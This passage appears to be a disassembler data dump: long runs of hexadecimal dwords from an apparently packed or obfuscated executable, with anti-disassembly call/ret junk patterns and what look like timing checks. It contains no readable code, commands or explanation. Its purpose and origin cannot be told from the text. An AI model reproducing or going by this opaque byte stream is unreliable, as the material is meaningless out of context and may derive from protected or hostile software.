0FC8A5FB7h, 52605190h, 615B5659h, 8B90505Bh dd 0E90AA9BDh, 41858905h, 0FF05E916h, 0E900AD95h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 601CD3F3h, 0B70FCAE5h, 0CA4E9F9h, 0E80000h, 5D000000h dd 598EED81h, 7E805EDh, 27000000h, 0D932F227h, 5E95FC0h dd 0E2000000h, 0E57BB00Bh, 8DFE8A5Fh, 0EC904B85h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 973238D3h, 915BD2Bh, 505005E9h, 0FF88B52h, 89585A31h dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0A095BFC3h, 6E177D8Fh, 6600B7EDh, 0B466CB81h dd 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0F4A0C353h, 2850F18h dd 8B000000h, 0B880FF8h, 0F000000h, 582h, 0F7816600h, 8964029Fh dd 25h, 0E781F500h, 13A1B6F0h, 68985FFh, 0F38105E9h, 3400606Dh dd 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 88017EC3h, 0DA8B6641h, 31D5B5FFh, 6A05E9h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 807FD7C3h, 0BD31279Ah, 5E930C9h, 7C995FFh, 0E0E905E9h dd 0F000000h, 58Eh, 0CEE6BF00h, 0B07127h, 816670E6h, 0E4CCCEDFh dd 0F613C71h, 0C283h, 0D3816600h, 0B60FA9BFh, 0B70F51C8h dd 6BA5BFBh, 89000000h, 0E91EAD95h, 0FC18B05h, 68Eh, 0E5958900h dd 0F05E903h, 0E8C1FFB7h, 39BD8B04h, 6605E90Dh, 0BE9E2F7h dd 1C000000h, 0DE0BC045h, 29B74385h, 0C82B24F7h, 96ACBB66h dd 32699D8Bh, 0D18B05E9h, 2B39BD0Bh, 2E905E9h, 8A000000h dd 0D5858BDDh, 8B05E910h, 7C083D8h, 27F19D8Bh, 0C08305E9h dd 0FAB70F00h, 830FD03Bh, 0Bh, 17E19D8Bh, 38E905E9h, 8B000000h dd 0E926BD8Dh, 8D895305h, 5E90AE5h, 1E1835Fh, 21840Fh dd 85010000h, 5E9021Dh, 26BDA583h, 89FE05E9h, 0E910D595h dd 0FAB70F05h, 2D119D8Bh, 0E905E9h, 8D000000h, 0ECEB01B5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 65BD8B8Eh, 6A05E91Eh, 96D78100h, 0E906BEFBh dd 14h, 868CAE6Fh, 97F3E1E2h, 5AA88FA5h, 0FE33CF27h, 365842E9h dd 1E9595FFh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 33F1ACC3h, 0B9C5ED78h, 8E5h, 2A799589h dd 0E18305E9h, 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 717F0EB2h, 34DAD632h dd 6AFCF98Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0AD68C357h, 11E960h, 0EE40000h, 103C8F79h, 4FFF5504h dd 0BCF0854Dh, 89B9C752h, 0E931A59Dh, 0B86105h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 8C01C355h, 716FF863h, 2B28B782h, 53006AD2h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0F930DBD2h, 0C233AD7Ah, 0D003E8D1h, 7504E983h, 56006AF4h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 72BFCA8Dh, 0FD9D8B8Bh, 0D05E907h, 88h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 18h, 0D0C35545h, 1C7DB200h dd 118D0Fh, 0CE90000h, 74000000h, 14BAA2C6h, 0B789D0FDh dd 8997871Fh, 0E9289D85h, 55958B05h, 6A05E926h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0B92EC351h, 27E35307h, 0BB664F3Eh, 8D8BC3C9h, 5E90805h dd 66C78166h, 0F8B70FD9h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0F88B5818h, 6AFA8Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0DAA226C3h, 0BF0F1E58h dd 8B0F60FFh, 1, 0F6BF66F5h, 0BD8361A4h, 5E91CF1h, 9A840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 523AC357h, 0D361E4E5h, 11E96Ah dd 1CFE0000h, 0B79B4FBDh, 0D8941D11h, 5A6A33FBh, 81FC3BE1h dd 0F98F5BDFh, 0B876h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0DC77F8C3h, 0F58E5BEh dd 683h, 70F38100h, 8D64CB26h, 0E94E6D8Dh, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0C8F83675h, 0B70FE1FFh, 3DBD83D8h, 5E916h, 31F840Fh dd 9D310000h, 5E90695h, 163DBD83h, 0F0105E9h, 32784h, 0AE800h dd 2C740000h, 14668B89h, 364F82D9h, 12E9h, 0EC8CDC00h dd 0C776B29Bh, 0D42F64DDh, 0C60F3AC5h, 5B6084DBh, 104DB501h dd 0BD8305E9h, 5E9163Dh, 0B7860F03h, 81000002h, 0C3154ACBh dd 10E8604Fh, 24000000h, 12C07615h, 5F16F73Bh, 0FCCF484h dd 0BBA160B8h, 5F4C416Fh, 0D98C665Fh, 4E180F8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E8C35242h, 0FD5ADEC6h dd 21BD0B46h, 8B05E92Bh, 0E90CB5BDh, 0FC90A05h, 0EF84h dd 0F98D8900h, 8B05E900h, 0E9286985h, 844BB05h, 85330711h dd 5E90E61h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0F5C35343h, 0F9001F8h, 84h, 0BF665000h, 6A9021DFh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 8964C353h, 6D66F2D3h, 9A883442h, 81006AF8h dd 5520F8EBh, 6870F4Dh, 8B000000h, 0E90031BDh, 1F86805h dd 12E93486h, 0B9000000h, 8B616C04h, 0BA2DF1FEh, 5B8BAC15h dd 0C95E453Ah, 2434817Dh, 34990207h, 12058D89h, 95FF05E9h dd 5E9292Dh, 21C9BD8Bh, 858905E9h, 5ECBACEh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EBC35343h, 4830F52h dd 66000000h, 8B6488BFh, 0E927C5BDh, 0F4E905h, 0BD230000h dd 5E93109h, 0BAC6858Bh, 0E78005ECh, 1800C7FEh, 8B000000h dd 0E932A9BDh, 0CAB58B05h, 6A05ECBAh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 19A0C352h dd 0FF0033h, 2F39858Bh, 0BD2B05E9h, 5E929F1h, 89DF8B66h dd 64CF8006h, 8BFB8B66h, 0E9286985h, 896DB305h, 0F5560446h dd 0FB8B505Bh, 66243489h, 0FF397FBFh, 0ECBAC6B5h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 8FF5E9CBh, 50AF8978h, 6269D5BBh, 91B52931h, 6805E905h dd 0AA754874h, 481FE8Bh, 0A9BB8B24h, 8B0F55h, 8D000000h dd 0ECBACE85h, 3D853105h, 5005E92Bh, 0F240489h, 28Ah, 0FFDE8B00h dd 0E9292D95h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 8B61A5BBh, 3D85C7DEh dd 305E916h, 0F000000h, 484h, 91BB6600h, 0CEBD8387h, 5ECBAh dd 58840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 9E8AE3C3h, 54C1C5Fh, 0CC5B501h dd 46E905E9h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 16AEC355h, 109D9589h dd 296005E9h, 0E92EFD85h, 30506105h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 62356433h dd 0DF11E99Fh, 0F50EBA7h, 68Bh, 0E19D8900h, 5B05E917h dd 28319509h, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BF0F19C3h, 3DBD83DEh, 305E916h dd 3AB850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0F2BBCC3h, 688h, 0D19D8B00h, 8905E900h dd 0E910C585h, 0CEBD8305h, 5ECBAh, 36F840Fh, 85890000h dd 5E92FE5h, 0BACEB5FFh, 6A05ECh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0BD2B16C3h, 5E90CC5h dd 2B7595FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 30F0C9C3h, 66B6F824h, 0F42F0BFh dd 0B58BF9B7h, 5ECBAC2h, 6C70BB7h, 10001h, 22998D09h, 609605E9h dd 1524B966h, 12E9h, 857A5A00h, 0BCB0F6E7h, 1A59AE92h dd 333945E7h, 61B8AB20h, 52506050h, 310F6160h, 310F5250h dd 585A585Ah, 6A9661h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 10D608C3h, 0F3A459Eh, 686h, 4DBD8B00h dd 8905E928h, 0E915E595h, 0CEB5FF05h, 2905ECBAh, 0E903A9BDh dd 4D95FF05h, 8105E92Bh, 0BE645CCFh, 0C2B58B66h, 6A05ECBAh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 8F53C352h, 2CB388F6h, 0CE9h, 0A5091000h dd 668C0E41h, 883F3E97h, 0DD858BBFh, 6A05E90Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0ECC7C350h, 0BE78166h, 0C4868976h, 0F000000h, 0D781D8BFh dd 2FE4B490h, 2655958Bh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 89A3EAC3h, 0E90F55BDh dd 4C28305h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 7CC35545h, 9D8B996Ch, 5E9068Dh, 2BED8D89h, 508905E9h dd 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 858D2880h, 5ECD055h, 4A18D31h, 868905E9h dd 0B8h, 11E993B7h, 4000000h, 0F642E7D1h, 56B100E5h, 4ADAE448h dd 0D43FBC8h, 8589006Ah, 5E903BDh, 0D0F7EF81h, 0B5FF63ADh dd 5ECBACEh, 0F9D9B70Fh, 0AD95FFh, 6A05E9h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 768D1EC3h dd 8BCC3068h, 0F96EE3Bh, 38Fh, 0FB8B6600h, 3799BF50h, 0E9967EDCh dd 5, 8BFC7EDAh, 0CEB5FF8Bh, 6A05ECBAh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0EC04C351h dd 6D150533h, 323195FFh, 816605E9h, 832FD4CBh, 0E92AB1BDh dd 840F0005h, 44h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 53C35343h, 13E903h, 0A17A0000h, 0C9BBCD72h dd 0B57F3250h, 669A895Dh, 0E4A52A05h, 0E4CF8021h, 893FB750h dd 0BD8B2434h, 5E90809h, 0BACEB5FFh, 0BE905ECh, 80000000h dd 4725C1EBh, 0AF2B2354h, 95FF70E2h, 5E92F61h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0AC35545h, 266915Ch dd 0BD8BA9D8h, 5E903D9h, 2698589h, 0B5FF05E9h, 5ECBACEh dd 46E5EF81h, 0CCBF3C0Bh, 0FF02A244h, 0E92DC595h, 7EDABB05h dd 0B70F7F85h, 0FDBD83D9h, 205E903h, 12840Fh, 8D290000h dd 5E90F09h, 3055858Bh, 0C605E9h, 0F8B70F00h, 27A985C7h dd 5E9h, 8B660000h, 0F486E9FBh, 6AFFFFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 1AF36EC3h dd 96E98D9h, 0E90901B5h, 3EBF6605h, 6AC18BF8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0E12C350h, 858DA59Fh, 5E921E5h, 0DE8h, 0C6E3A400h, 1307F957h dd 67A6B74Ah, 9D8B2050h, 5E90619h, 0EE9905Bh, 2E000000h dd 0B6035D37h, 4179F87Dh, 0AA622E9Ah, 8F0F50CBh, 6, 8B616060h dd 6A9061F2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0F66C357h, 64B51432h, 198D8987h dd 0F05E90Dh, 9589F8B7h, 5E90BADh, 8D0F006Ah, 6, 3F98589h dd 6A05E9h, 17858589h, 858D05E9h, 5ED683Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0A2C35040h, 0EE9h dd 32A2CE00h, 0DD1535A9h, 138DBDFAh, 83D16008h, 0BD8B05C0h dd 5E92BC1h, 0DA8B6650h, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 476DC355h dd 0F19D8B60h, 8905E905h, 0E907999Dh, 0BD8B6105h, 5E92955h dd 13E8006Ah, 9000000h, 0EAA7F8EBh, 0DCA87175h, 2B255D79h dd 0C90DDAB9h, 5FF57842h, 0FFF9006Ah, 0E90AA195h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0BF8D8D8Fh, 6A05ECADh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0EB3DC355h, 8929E8ECh dd 0E930F5BDh, 8BD1FF05h, 0BDBD83F9h, 105E901h, 94850Fh dd 9D8B0000h, 5E92951h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 9BFB7C3h, 0F84CF41Dh dd 0DE8B5350h, 2404895Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 8EC35040h, 0B6B44FF0h, 0FFF88AA8h, 0E900AD95h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 39EA62Ch, 0F604369h, 0E84h, 9E900h, 53890000h dd 5031A3Dh, 0B1B935A5h, 0C8E96114h, 0E800000Dh, 0 dd 47ED815Dh, 0E805ED68h, 0Eh, 0BC5C72Eh, 0CACB6EADh, 5E4B90Dh dd 0E7B33CF0h, 57006A5Fh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 8637B1E3h, 7810Fh, 66570000h dd 0BCF7D381h, 4B858D5Bh, 8105EC90h, 8E48FAE7h, 8B66906Eh dd 880F50FBh, 19h, 0D0B96660h, 0EE905h, 48B40000h, 0E3DBC3E2h dd 70A39D2Fh, 62D9B458h, 1BBF9061h, 64759E9Fh, 35FFh, 9D010000h dd 5E93299h, 2ABD9D8Bh, 896405E9h, 25h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0E007C0F1h, 8A204CE9h, 3850Fh, 8B660000h, 0B59D8BF9h dd 0FF05E906h, 0E9068985h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 470679A7h dd 744FB07Fh, 5E8019Eh, 0F6000000h, 0B5D754DBh, 22E59D23h dd 6A5F05E9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0DB027B37h, 8DE341C0h, 0DABF0F69h dd 257DB5FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 14257CC3h, 1CE6F556h, 119D8B05h dd 0FF05E905h, 0E907C995h, 138E905h, 0FB8B0000h, 109D9D8Bh dd 0B005E9h, 89DE8B66h, 0E9034585h, 6070E605h, 2D519589h dd 0EE905E9h, 41000000h, 0AE9F31BAh, 0A3DE013Ch, 0D927546Bh dd 71E46123h, 27F9BD8Bh, 613C05E9h, 0F8830Fh, 0CE80000h dd 0EC000000h, 7D8E0234h, 442CC140h, 66229248h, 0F5BF88Bh dd 8B66C8B6h, 6BADEh, 0BD8B0000h, 5E91815h, 0EE8h, 337D5300h dd 7D73DD24h, 6DF23813h, 5F951C56h, 0FE9C18Bh, 0BE000000h dd 0EC2CA9FBh, 522D593Bh, 0AD1ADF0Eh, 0E8C17587h, 5E904h dd 48FE0000h, 6613C71Ch, 2BF5E2F7h, 0D98B66C8h, 0B589D18Bh dd 5E90729h, 3E9h, 0D88B6600h, 2829858Bh, 0B70F05E9h, 7C083DBh dd 0A9B58B60h, 0F05E925h, 285h, 61616000h, 2900C083h, 0E919859Dh dd 0FD03B05h, 2283h, 0E7816600h, 4BE982F9h, 0E9000000h dd 13h, 0A2216CC4h, 75C4BDFBh, 3CFCA92Bh, 159F7ECFh, 8BB50FFFh dd 0E901E58Dh, 1E18305h, 24840Fh, 0B5290000h, 5E917C5h dd 2DD99509h, 0A58305E9h, 5E901E5h, 0A59501FEh, 8905E923h dd 0E9282995h, 0E905h, 0B58D0000h, 5ECF4D9h, 2A71BD0Bh dd 6A05E9h, 9D23FA8Ah, 5E90DC1h, 1E9595FFh, 816605E9h dd 0B95F71C3h, 923h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 64C35545h, 0E183E8DEh, 0F3BF66FCh, 6AFCA3h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8B66B7C3h, 0B8DAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 30A947C3h, 3829DE87h dd 8E9h, 0DDE4D100h, 0EE305AB3h, 0BA66h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0B1E130C3h, 814F8345h, 33ADF939h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 8E8DFC3h, 0EE000000h, 63E2A867h, 9E37676h dd 0E90BC18Dh, 880D5F05h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0C0ECC352h dd 0F970EA68h, 6810F60h, 8B000000h, 0E908E58Dh, 0DABF0F05h dd 13E961h, 0DAD40000h, 0FB360DAh, 0B173019h, 9CFAB2D7h dd 43884308h, 55958B08h, 0E805E926h, 7, 59F343E1h, 0BBBAAE75h dd 6F354A4Ch, 58D8B5Bh, 6A05E908h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 1AC1C350h dd 8B50F8FFh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 5FB7B353h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0DEC35545h, 24A943F7h, 0F5E51063h, 1CF1BD83h, 0F0005E9h dd 0A384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0B70F0F7Ch, 0A98589F9h, 0B805E917h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E8C35545h dd 0D95B4097h, 0E56423FFh, 38A0Fh, 0B70F0000h, 6D8D8DD8h dd 6005E94Eh, 1EA99D8Bh, 0B58905E9h, 5E93245h, 5DBD8B61h dd 0FF05E92Dh, 50006AE1h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 6F5CC845h, 0D00935F5h dd 6E925h, 0F9A60000h, 565F9860h, 163DBD83h, 0F0005E9h dd 3EA84h, 6DBD8900h, 8305E919h, 0E9163DBDh, 840F0105h db 0F2h, 3 word_584F4E dw 0 ; DATA XREF: ___:00436804o dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 5CC35545h dd 0E9BF9F93h, 83245FAFh, 0E9163DBDh, 860F0305h, 38Ch dd 21858960h, 6605E902h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8D89E3C3h, 5E9274Dh dd 3919589h, 0E18005E9h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 6800FDCh, 8B000000h, 0E90CC59Dh dd 22DF8005h, 840FC90Ah, 149h, 0E31BD33h, 858B05E9h, 5E92869h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CFC35747h dd 2FBEC6C8h, 5FF88B57h, 10E8h, 2172100h, 0BD3BD05Fh, 28DD284h dd 0E6038D2Dh, 335FF582h, 0E90E6185h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 8E4920E1h, 9BF4917Ah, 0BD89853Ah, 5E90649h, 21EDBD8Bh dd 0E95005E9h, 12h, 0DC605D02h, 0A42A7AB1h, 640CBEA5h dd 0F0BAC6BCh, 4899EDBh, 86E78124h, 6A6E8573h, 45BD2B00h dd 6805E92Ah, 0FD48AFA8h, 3800Fh, 8B660000h, 240481F8h dd 2D65457h, 118A0Fh, 8E80000h, 2000000h, 0A71BE593h, 66DB4997h dd 0FF5FFE8Bh, 0E9292D95h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 41D34654h dd 89E717ACh, 0ECBACE85h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0F8B70FB6h dd 1AAE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 31020000h, 0E91E1DBDh, 0C6858B05h dd 8B05ECBAh, 0E90E15BDh, 1800C705h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 4900C357h, 3B8546AEh, 0F3814D10h, 74711B6h, 0BACAB58Bh dd 858905ECh, 5E91139h, 8BA1F780h, 0E92F3985h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 8997E74Ch, 89C8CA3Ch, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 15952958h, 8B05E930h dd 0E9286985h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0E801716Ch, 10h, 0E0353256h dd 0C7D0FB17h, 987A8F87h, 27B8DC59h, 895BF88Bh, 0E3810446h dd 774CD9DDh, 8AC78166h, 0B960507Eh, 66A10928h, 298C8FB9h dd 34896114h, 0A59D8B24h, 0FF05E92Bh, 0ECBAC6B5h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0F5589730h, 5D86E28h, 0A2BECB81h, 0B5892CD1h, 5E91E75h dd 0F3B1C568h, 7555BF26h, 34816879h, 0ECB23A24h, 59D8B26h dd 8D05E922h, 0ECBACE85h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 8D895241h dd 5E93035h, 489505Bh, 85BD3324h, 0FF05E92Dh, 0E9292D95h dd 5E905h, 4580000h, 61AE93DDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0D5C35545h, 0C7D0B783h, 0E9163D85h dd 305h, 26BB5600h, 5B541AEAh, 0BACEBD83h, 0F0005ECh, 1784h dd 88D0F00h, 0F000000h, 283h, 0E9F98B00h, 1Fh, 0AEF0BB66h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 8BEFC355h, 0E922019Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0F6ADE321h dd 0DF8BDD1Eh, 1B9B589h, 0BD8305E9h, 5E9163Dh, 0EB850F03h dd 83000003h, 0ECBACEBDh, 840F0005h, 3DEh, 14E8h, 0B6552500h dd 0BEB907AFh, 3AEDF738h, 662D25E7h, 40FB2756h, 5F09B35Fh dd 2CEEF81h, 0B5FF122Ah, 5ECBACEh, 6E960h, 0A3640000h dd 0B8AE2369h, 0FF6137B5h, 0E92B7595h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 88FCB51Ch, 2371DF2h, 2985313Fh, 8B05E907h, 0ECBAC2B5h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 9D89C67Fh, 5E91861h, 106C7h, 8B660001h dd 58B0FF9h, 0BF000000h, 4CCE2181h, 0DA8B6650h, 31243489h dd 0E902A585h, 6CA6BB05h, 0B5FF1BD7h, 5ECBACEh, 0D5985ABBh dd 4D95FF7Ah, 8B05E92Bh, 0E90ADD9Dh, 0C2B58B05h, 6A05ECBAh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0B3E0C353h, 498E568Fh, 0BC435CFCh, 5F1BD89h dd 858B05E9h, 5E90FDDh, 0C48689F5h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 891BC357h, 0E9018195h, 55958B05h, 8B05E926h, 890FDEh dd 83000000h, 5E804C2h, 4000000h, 57138235h, 5BD88B66h dd 6A205089h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0D4EBC357h, 0BE8ABF1h, 9C000000h dd 24A56AC4h, 92972A1Fh, 0BF66F727h, 8D5FBDF3h, 0ECD05585h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 863B23E4h, 5F6EB957h, 0BF66326Ch, 8689A973h dd 0B8h, 12E78060h, 61D78B66h, 9D8B006Ah, 5E92AADh, 2A619D89h dd 0B5FF05E9h, 5ECBACEh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 73C35040h, 57A2A5E0h, 0BD8BC5B5h, 5E90E15h dd 0AD95FFh, 820F05E9h, 6, 3191BD89h, 509605E9h, 4880Fh dd 0BF660000h, 6096022Eh, 49B1A4BEh, 0F18B6672h, 0CEB5FF61h dd 8905ECBAh, 0E9076D85h, 3195FF05h, 8905E932h, 0E9318585h dd 0B1BD8305h, 5E92Ah, 58840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 85A9BC3h dd 79526621h, 0FE9h, 0AC4C1500h, 0BC174B70h, 90F1CB8Bh dd 0C0087352h, 0F5ABBB96h, 0B3503786h, 0DE9969Fh, 62000000h dd 47EBAED4h, 2685D34Ah, 0D1015957h, 4C1BD8Bh, 0B5FF05E9h dd 5ECBACEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0ADC35141h, 0D37DB32Eh, 2932AC66h, 0E91FADB5h dd 6195FF05h, 0E905E92Fh, 5, 0A2513BA4h, 0CEB5FF4Bh, 8B05ECBAh dd 0E903D19Dh, 0C595FF05h, 6A05E92Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0A3D1C352h dd 9F1E6884h, 0C78166F5h, 83F8C08Fh, 0E903FDBDh, 840F0205h dd 88h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h dd 0EAC35242h, 15B3C6B7h, 55858B2Bh, 6A05E930h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 1CBFC357h, 0E97CA0ACh, 13h, 0E4B3E738h, 15088E67h, 0A6B020B2h dd 0EE2F9E1Ah, 0C66507EBh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 24CE3C3h, 41FBEB6h, 0FE8B0F7Ah, 27A985C7h, 5E9h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 6549B9C3h, 503811F8h, 74E9CE0Bh, 8BFFFFF3h, 55006AC1h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0B7DD0061h, 0AE9h, 0EFFE4100h, 6E86D014h, 8DF4EE2Eh dd 0E921E585h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0D7B3481Bh, 2B04FA8Ah dd 